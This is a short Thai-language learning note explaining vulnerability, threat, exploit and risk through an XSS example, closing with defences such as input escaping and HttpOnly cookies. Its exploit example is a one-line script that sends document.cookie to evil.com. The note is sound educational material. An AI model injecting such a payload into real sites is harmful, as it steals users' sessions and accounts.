what i've learned today

Vulnerabilities, Threat, Exploit, Risk คืออะไร?

หลังจากที่ไปหาข้อมูลเกี่ยวกับ trivy-vs-semgrep มา ก็เจอศัพท์เกี่ยวกับ security เยอะขึ้นเลย

ที่น่าสนใจ มี Vulnerabilities, Threat, Exploit และ Risk ซึ่งทั้ง 4 อย่างต่างกันตามนี้

คำความหมายตัวอย่าง
Vulnerabilityช่องโหว่ (จุดอ่อน อยู่ในระบบของเราเอง)เว็บเอาข้อความที่ผู้ใช้พิมพ์ไปแสดงผลตรงๆ โดยไม่ escape HTML (ช่องโหว่ XSS)
Threatภัยคุกคาม ( ใคร/อะไร ที่อาจมาทำร้าย อยู่ภายนอกและเราควบคุมไม่ได้ )แฮกเกอร์ที่อยากขโมย session/cookie ของผู้ใช้
Exploitการใช้ประโยชน์จากช่องโหว่ (วิธีลงมือ ที่เจาะจุดอ่อนนั้นจริงๆ)สคริปต์ <script>fetch('https://evil.com?c='+document.cookie)</script> ที่แฮกเกอร์โพสต์ลงไป
Riskความเสี่ยง (ผลลัพธ์ที่ต้องประเมิน ว่าโอกาสเกิดเท่าไหร่ และเสียหายแค่ไหน)ผู้ใช้หลายพันคนอาจโดนขโมยบัญชี ความเสียหายสูง และโอกาสเกิดก็สูงเพราะเจาะง่าย

สรุปง่ายๆ คือ

ถ้าตัวใดตัวหนึ่งเป็นศูนย์ ความเสี่ยงก็แทบไม่มี เช่น มีช่องโหว่แต่ไม่มีใครสนใจโจมตี หรือมีคนอยากโจมตีแต่ระบบไม่มีช่องโหว่

ส่วนที่เราแก้ได้ง่ายที่สุดในฐานะนักพัฒนาคือ ลด Vulnerability (เช่น escape input, อัปเดต library) และ ลด Impact (เช่น ตั้ง cookie เป็น HttpOnly ไว้ เพื่อให้ JavaScript อ่าน cookie ไม่ได้แม้โดน XSS)

Linked from

Nothing links here yet.

← all notes